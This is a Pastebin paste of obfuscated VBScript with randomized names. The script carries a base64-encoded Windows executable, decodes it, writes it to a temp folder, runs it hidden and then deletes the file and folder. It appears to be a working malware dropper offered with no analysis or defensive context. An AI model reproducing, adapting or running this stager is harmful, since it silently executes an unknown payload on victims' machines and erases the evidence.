Advertisement
bakata

55

Jun 21st, 2019
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.30 KB | None | 0 0
  1. Function AFFByCYXqyJLBh(sEQzJdctLGuKXH)
  2. QGKLbWuwFtopAjX = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
  3. "dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
  4. sEQzJdctLGuKXH & "</B64DECODE>"
  5. Set eLusvypjiC = CreateObject("MSXML2.DOMDocument.3.0")
  6. eLusvypjiC.LoadXML(QGKLbWuwFtopAjX)
  7. AFFByCYXqyJLBh = eLusvypjiC.selectsinglenode("B64DECODE").nodeTypedValue
  8. set eLusvypjiC = nothing
  9. End Function
  10.  
  11. Function muvtTJMkRH()
  12. sloXHCFKThUgAM = "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"
  13. Dim XmLErlhrPAcMyZw
  14. Set XmLErlhrPAcMyZw = CreateObject("Scripting.FileSystemObject")
  15. Dim cLGsJMaSb
  16. Dim QIMtRFOfF
  17. Set cLGsJMaSb = XmLErlhrPAcMyZw.GetSpecialFolder(2)
  18. QIMtRFOfF = cLGsJMaSb & "\" & XmLErlhrPAcMyZw.GetTempName()
  19. XmLErlhrPAcMyZw.CreateFolder(QIMtRFOfF)
  20. sCgiWrgvCulV = QIMtRFOfF & "\" & "jeMeeGyH.exe"
  21. Dim QkekUchG
  22. Set QkekUchG = CreateObject("Wscript.Shell")
  23. YYqBlXbGecHB = AFFByCYXqyJLBh(sloXHCFKThUgAM)
  24. Set JujmTSGMhyZy = CreateObject("ADODB.Stream")
  25. JujmTSGMhyZy.Type = 1
  26. JujmTSGMhyZy.Open
  27. JujmTSGMhyZy.Write YYqBlXbGecHB
  28. JujmTSGMhyZy.SaveToFile sCgiWrgvCulV, 2
  29. QkekUchG.run sCgiWrgvCulV, 0, true
  30. XmLErlhrPAcMyZw.DeleteFile(sCgiWrgvCulV)
  31. XmLErlhrPAcMyZw.DeleteFolder(QIMtRFOfF)
  32. End Function
  33.  
  34. muvtTJMkRH
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement